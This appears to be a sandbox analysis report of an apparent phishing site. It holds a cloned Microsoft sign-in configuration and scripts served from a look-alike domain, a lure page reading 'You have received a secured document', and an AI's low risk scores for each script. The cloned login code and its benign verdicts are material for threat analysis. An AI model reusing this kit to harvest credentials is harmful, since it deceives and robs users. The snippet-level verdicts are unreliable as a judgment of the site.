//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/","urlDefaultFavicon":"https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026response_mode=form_post\u0026nononce=638724633745542364.YzY0NDAyYWEtY2EzOS00ZThjLThiY2ItYWQ3NWI0NmZmYzQ3ZGY3OWU4ZDctNmZkOC00NDAzLTgzMjQtZWVkMjMzMWNlNzRj\u0026ui_locales=en-US\u0026mkt=en-US\u0026client-request-id=1c906801-dcb4-4982-9e06-c54374e3e1df\u0026state=CG6vf8AD7xjwi8-2CpcfENfrXNvXa1jbi1t0llxv9jNg9nxldPS8F0YJA7xbu2eYyX-Pu1ed_IPjzMOjPsXNWPYeUxpSR76_9fcTx98NWUgYD-fukGikNQ7RCUhtQE19wNqwNGcB5YwhV4trru3Tbsn9Yv705PXZbIXqVlPzCl870fMARWFxCRJCn5zvf17pwRoocopPas8IGjpWxKwbxng3XqKblTxMN0bbSzQ7kvyHPTj9quA-ranOeMMvsL_mH7onwqP4QabeDjBDpv5GxQ\u0026x-client-SKU=ID_NET8_0\u0026x-client-ver=7.5.1.0\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://interconnectednessresilient.buzz/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=1c906801-dcb4-4982-9e06-c54374e3e1df","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=1c906801-dcb4-4982-9e06-c54374e3e1df","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=1c906801-dcb4-4982-9e06-c54374e3e1df\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=1c906801-dcb4-4982-9e06-c54374e3e1df\u0026origin=interconnectednessresilient.buzz\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"scid":1013,"hpgact":1800,"hpgid":6,"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFegLe7Vy9yhBVlCY7QThRc_pThYPeC4Lohnq4eWGacJ2z5L41JdV36zfDr6NhcvSXcOYtS-CxDR94cRRmWGHYPDqN_Jg_V-wxo1Bhy2XoOgdmrhZ3B4-f-mzrpWoUYNQEbVben0kuVewhmbEHBJuT8tKaMkvfYgmZfu91u-Kdv2R7hbZmRKULlnZne3MGo7i6r4TOectCWKWM2j4XHIMq9HCAA","canary":"YzvkoF0UdyempOi0iXnzRvbjWENrvT69TSd/5gw46eo=6:1:CANARY:myxLo0VM9Tkc1bgpYg7dRAPHJb01fGN0qcBUPV21pkI=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"1c906801-dcb4-4982-9e06-c54374e3e1df","sessionId":"f1654e23-c535-4202-a80a-99b0a6008100","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"ur
URL: https://mighty-calm-plum-toucan.easy2.de/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a localization or translation file, containing various language strings and labels. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or suspicious redirects. The script is likely used for legitimate purposes, such as displaying user-friendly messages and labels in a web application. There are no obvious signs of malicious behavior, and the script can be considered low-risk." }
window.WebPlatform = window.WebPlatform \|\| {}; WebPlatform.Phrases = (WebPlatform.merge \|\| window.mergeUnique)({ 'ERR_INVALID_REQUEST': 'Invalid request!', 'label.invalid_request': "Ungltige Anfrage!", 'client.by': "von", 'client.on': "am", 'client.in': "in", 'label.of': "von", 'client.comment': "Kommentar", 'client.comments': "Kommentare", 'client.read_more': "Mehr erfahren", 'client.load_more': "Mehr laden", 'label.view': "Vorschau", 'label.years': "Jahre", 'label.months': "Monate", 'label.days': "Tage", 'label.minutes': "Minuten", 'label.hours': "Stunden", 'label.seconds': "Sekunden", 'card.number': "Kartennummer", 'card.cvc': "CCV", 'card.mm': "MM", 'card.yyyy': "YYYY", 'card.invalid_data': "Bitte berprfe deine Kredit- / Debitkartendetails und versuche es erneut.", 'card.invalid_number': "Die Kartennummer ist keine gltige Kredit- oder Debitkartennummer.", 'card.invalid_month': "Der Verfallsmonat deiner Karte ist ungltig.", 'card.invalid_year': "Das Ablaufjahr deiner Karte ist ungltig.", 'card.invalid_cvc': "Der Sicherheitscode deiner Karte ist ungltig.", 'card.unknown_error': "Bitte berprfe deine Zahlungsdetails und versuche es erneut.", 'label.shipping_address': "Lieferadresse", 'label.billing_address': "Rechnungsadresse", 'label.january': "Januar", 'label.february': "Februar", 'label.march': "Mrz", 'label.april': "April", 'label.may': "Mai", 'label.june': "Juni", 'label.july': "Juli", 'label.august': "August", 'label.september': "September", 'label.october': "Oktober", 'label.november': "November", 'label.december': "Dezember", 'label.jan': "Jan", 'label.feb': "Feb", 'label.mar': "Mrz", 'label.apr': "Apr", 'label.may_short': "Mai", 'label.jun': "Jun", 'label.jul': "Jul", 'label.aug': "Aug", 'label.sep': "Sep", 'label.oct': "Okt", 'label.nov': "Nov", 'label.dec': "Dez", 'label.add_to_cart': "Zum Warenkorb hinzufgen", 'label.buy_now': "Jetzt kaufen", 'label.update': "Aktualisierien", 'label.change': "ndern", 'label.month': "Monat", 'label.year': "Jahr", 'label.months_lower': "Monate", 'label.years_lower': "Jahre", 'label.week_lower': "Woche", 'label.weeks_lower': "Wochen", 'label.saving': "Ersparnis", 'label.checkout_now': "Checkout", 'label.view_cart': "Warenkorb anzeigen", 'label.select_product_variant': "Variation auswhlen", 'err.select_product_variants': "Whle fr jeden Artikel in deiner Bestellung eine Variation aus", 'label.cod': "Bezahlen bei Lieferung", 'label.bank': "Bankberweisung", 'label.yes': "JA", 'label.no': "NEIN", 'label.enter_delivery_address': "Bitte gib deine Versanddaten ein", 'label.no_delivery_offices': "Keine Bros verfgbar", 'label.select_speedy_office': "Whle Speedy Bro aus", 'label.no_shipping_services': "Bitte Adresse eingeben", 'label.select_delivery_type': "Versandart auswhlen", 'label.monday_min': "Mo", 'label.tuesday_min': "Di", 'label.wednesday_min': "Mi ", 'label.thursday_min': "Do", 'label.friday_min': "Fr", 'label.saturday_min': "Sa", 'label.sunday_min': "So", 'label.monday_short': "Mo", 'label.tuesday_short': "Di", 'label.wednesday_short': "Mi ", 'label.thursday_short': "Do", 'label.friday_short': "Fr", 'label.saturday_short': "Sa", 'label.sunday_short': "So", 'label.contact_booked_error': "Du hast bereits einen Platz in dieser Gruppenveranstaltung gebucht", 'label.already_booked_time_error': "Der gewnschte Termin ist nicht verfgbar. Bitte whle einen anderen aus!", 'label.booking_notice_error': "Die Buchung ist zu nahe an der aktuellen Zeit. Bitte lade die Seite neu", 'label.delete_account_prompt': "Mchtest du dein Konto lschen?", 'label.slots_left': "Pltze verfgbar", 'store.labe
URL: https://interconnectednessresilient.buzz/aadcdn.ms... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or redirects to suspicious domains. The code is focused on implementing the Promise interface and does not exhibit any malicious behavior. While it uses some legacy practices like the `Function.prototype.bind` polyfill, these are low-risk and commonly found in older code. Overall, this script is likely benign and can be considered low risk." }
!(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]); for (d && d(n); c.length; ) c.shift()(); } var t, i = {}, a = { 22: 0 }; function o(n) { if (i[n]) return i[n].exports; var t = (i[n] = { i: n, l: !1, exports: {} }); return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports; } Function.prototype.bind \|\| ((t = Array.prototype.slice), (Function.prototype.bind = function (e) { if ("function" != typeof this) throw new TypeError( "Function.prototype.bind - what is trying to be bound is not callable" ); var n = t.call(arguments, 1), i = n.length, a = this, o = function () {}, r = function () { return ( (n.length = i), n.push.apply(n, arguments), a.apply(o.prototype.isPrototypeOf(this) ? this : e, n) ); }; return ( this.prototype && (o.prototype = this.prototype), (r.prototype = new o()), r ); })), (document.head = document.head \|\| document.getElementsByTagName("head")[0]), (function () { function e(n) { var t = this, i = 0, a = null, o = []; function r() { if (o.length > 0) { var e = o.slice(); (o = []), setTimeout(function () { for (var n = 0, t = e.length; n < t; ++n) e[n](); }, 0); } } function s(e) { 0 === i && ((a = e), (i = 1), r()); } function c(e) { 0 === i && ((a = e), (i = 2), r()); } (t.then = function (n, t) { return new e(function (s, c) { !(function (n, t, s, c) { o.push(function () { var o; try { o = 1 === i ? "function" == typeof n ? n(a) : a : "function" == typeof t ? t(a) : a; } catch (r) { console.log(r); return void c(r); } o instanceof e ? o.then(s, c) : 2 === i && "function" != typeof t ? c(o) : s(o); }), 0 !== i && r(); })(n, t, s, c); }); }), (t["catch"] = function (e) { return t.then(null, e); }), (function () { if ("function" != typeof n) throw new TypeError("Promise: argument is not a Function object"); try { n(s, c); } catch (e) { console.log(e); c(e); } })(); } function n(e, n, t, i, a) { return function (o) { (e[n] = i ? o : a ? { status: "fulfilled", value: o } : { status: "rejected", reason: o }), t(); }; } function t(t, i) { return t && t.length ? new e(function (a, o) { for (var r = [], s = 0, c = 0, d = t.length; c < d; ++c) { var l = t[c]; if (l instanceof e) { s++; var u = function () { 0 == --s && a(r); }; i ? l.then(n(r, c, u, i), o) : l.then(n(r, c, u, i, !0), n(r, c, u, i, !1)); } else r[c] = l; } 0 === s && setTimeout(function () { a(
URL: https://interconnectednessresilient.buzz/aadcdn.ms... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. It does not exhibit any high-risk behaviors like dynamic code execution, data exfiltration, or suspicious redirects. The code is also accompanied by a third-party notice, indicating it is likely part of a larger, well-documented project. While the script uses some legacy practices like `XDomainRequest`, these pose only minor risks and are not inherently malicious. Overall, the snippet seems to be a benign implementation of a standard web API, with no clear signs of malicious intent." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.com/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)r=i[s],Object.prototype.hasOwnProperty.call(o,r)&&o[r]&&u.push(o[r][0]),o[r]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(c&&c(t);u.length;)u.shift()()}var n,r={},o={1:0};function i(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,i),n.l=!0,n.exports}Function.prototype.bind\|\|(n=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var t=n.call(arguments,1),r=t.length,o=this,i=function(){},a=function(){return t.length=r,t.push.apply(t,arguments),o.apply(i.prototype.isPrototypeOf(this)?this:e,t)};return this.prototype&&(i.prototype=this.prototype),a.prototype=new i,a}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(t){var n=this,r=0,o=null,i=[];function a(){if(i.length>0){var e=i.slice();i=[],setTimeout((function(){for(var t=0,n=e.length;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof t?t(o):o:"function"==typeof n?n(o):o}catch(a){return void u(a)}i instanceof e?i.then(s,u):2===r&&"function"!=typeof n?u(i):s(i)})),0!==r&&a()}(t,n,s,u)}))},n["catch"]=function(e){return n.then(null,e)},function(){if("function"!=typeof t)throw new TypeError("Promise: argument is not a Function object");try{t(s,u)}catch(e){u(e)}}()}function t(e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l instanceof e){s++;var d=function(){0==--s&&o(a)};r?l.then(t(a,u,d,r),i):l.then(t(a,u,d,r,!0),t(a,u,d,r,!1))}else a[u]=l}0===s&&setTimeout((function(){o(a)}),0)})):e.resolve([])}function r(e,t){return function(){e(t)}}e.all=function(e){return n(e,!0)},e.allSettled=function(e){return n(e,!1)},e.race=function(t){return new e((function(n,o){if(t&&t.length)for(var i=0,a=t.length;i<a;++i){var s=t[i];s instanceof e?s.then(n,o):setTimeout(r(n,s),0)}}))},e.reject=function(t){return new e((function(e,n){n(t)}))},e.resolve=function(t){return t instanceof e?t:t&&"function"==typeof t.then?new e((function(e,n){t.then(e,n)})):new e((function(e){e(t)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),i.e=function(e){var t=[],n=o[e];if(0!==n)if(n)t.push(n[2]);else{var r=new Promise((function(t,r){n=o[e]=[t,r]}));t.push(n[2]=r);var a=window.ServerData,s=a&&a.loader&&a.loader.cdnRoots\|\|[],u=a&&a.slMaxRetry?a.slMaxRetry:s.length-1,c=new Error;var l=function d(t,n){var
URL: https://interconnectednessresilient.buzz/aadcdn.ms... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate third-party library for handling user authentication and session management. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The code is well-structured and follows common patterns for authentication workflows, including handling desktop SSO, credential type selection, and session management. Overall, this script seems to be a benign and necessary component for the application's functionality." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.com/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */ (window.webpackJsonp=window.webpackJsonp\|\|[]).push([[15],{485:function(e,n,s){var t=s(2),o=s(1),r=s(0),i=s(4),a=window,c=r.CredentialType,l=o.QueryString,u=r.PaginatedState,d=o.Helper,p=r.IfExistsResult,m=r.SessionPullFlags;function S(e){var n=this,s=d.isEdge(),t=e.serverData,o=e.nonInteractiveAuthRequest,r=e.username,a=e.displayName,S=e.unsafe_desktopSsoDomainToUse,f=e.preferredCredential,g=!!e.isPushNotification,h=e.sessionPullType,v=e.isInitialView,k=t.arrSessions\|\|[],w=t.canary,R=t.desktopSsoConfig,T=t.sCtx,y=t.urlLogin,C=t.oGetCredTypeResult,x=t.fShowTilesAfterSessionPull,D=t.sPrefillUsername;function _(){var e;s&&R&&R.isEdgeAllowed?(e={canary:w,client_id:l.extract("client_id"),ctx:T,dsso_edge_username:r,edge_attempted:!0},n.onRedirect(y,e)):D&&D===r&&C?x?n.onSwitchView(u.Tiles,!0):n.onExecuteGctResult():n.onSwitchView(function(){if(!f)return k.length?u.Tiles:u.Username;return function(){var e=u.Password;switch(f){case c.Password:e=u.Password;break;case c.Fido:e=u.Fido;break;case c.RemoteNGC:e=v&&g?u.ConfirmSend:u.RemoteNGC;break;case c.OneTimeCode:case c.PublicIdentifierCode:e=u.ConfirmSend;break;case c.Federation:case c.CloudFederation:e=u.IdpRedirect;break;case c.AccessPass:e=u.AccessPass}return e}()}(),!0)}n.onUpdateUserTiles=i.create(),n.onExecuteGctResult=i.create(),n.onSubmitReady=i.create(),n.onRedirect=i.create(),n.onSwitchView=i.create(),n.onIncrementAsyncTileRequestCount=i.create(),n.onDecrementAsyncTileRequestCount=i.create(),n.isNonInteractiveAuthRequest=o,n.sessionPullType=h,n.username=r,n.displayName=a,n.unsafe_domainName=S,n.saveSharedData=function(e){h&m.Dsso&&(e.desktopSsoExecuted=!0)},n.getState=function(){return null},n.restoreState=function(){},n.cancelLink_onClick=function(){_()},n.fetchSessionsProgress_onHandleDssoSuccess=function(){n.onSubmitReady()},n.fetchSessionsProgress_onRedirect=function(e,s){n.onRedirect(e,s)},n.fetchSessionsProgress_onDesktopSsoFallbackView=function(){_()},n.fetchSessionsProgress_onUpdateUserTiles=function(e,s){C&&C.IfExistsResult===p.ExistsBothIDPs?n.onSwitchView(u.IdpDisambiguation,!0):D&&C?x?n.onSwitchView(u.Tiles,!0):n.onExecuteGctResult():k.length>0?n.onSwitchView(u.Tiles,!0):n.onSwitchView(u.Username,!0),n.onUpdateUserTiles(e,s)},n.fetchSessionsProgress_onExecuteGctResult=function(){v?k.length>0?n.onSwitchView(u.Tiles,!0):n.onSwitchView(u.Username,!0):n.onExecuteGctResult()},n.fetchSessionsProgress_onIncrementAsyncTileRequestCount=function(){n.onIncrementAsyncTileRequestCount()},n.fetchSessionsProgress_onDecrementAsyncTileRequestCount=function(){n.onDecrementAsyncTileRequestCount()}}t.components.register("fetch-sessions-progress-view",{viewModel:S,template:s(652),synchronous:!a.ServerData.iMaxStackForKnockoutAsyncComponents\|\|o.Helper.isStackSizeGreaterThan(a.ServerData.iMaxStackForKnockoutAsyncComponents),enableExtensions:!0}),e.exports=S},652:function(e,n,s){e.exports="\x3c!-- "+(s(653),s(15),' --\x3e\n\n<div id="loginHeader" class="row" role="heading" aria-level="1" data-bind="text: str[\'DSSO_STR_AuthenticatingMessage\'], externalCss: { \'title\': true }"></div>\
URL: https://mighty-calm-plum-toucan.easy2.de/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You have received a secured document", "prominent_button_name": "PREVIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://mighty-calm-plum-toucan.easy2.de/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://interconnectednessresilient.buzz/?7bk3o0j2... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily involves DOM manipulation and logging functionality, with no high-risk indicators like dynamic code execution or data exfiltration. It uses moderate-risk practices such as aggressive DOM manipulation and error logging, but these are not inherently malicious. The script does not interact with external domains or use obfuscated code, keeping the risk score low." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("rickorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("xintegrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://interconnectednessresilient.buzz/?7bk3o0j2... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily involves DOM manipulation and logging functionality, with no high-risk indicators like dynamic code execution or data exfiltration. It uses aggressive DOM manipulation techniques, which is a moderate-risk indicator. However, there are no interactions with external domains or suspicious behaviors that would increase the risk score significantly." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function 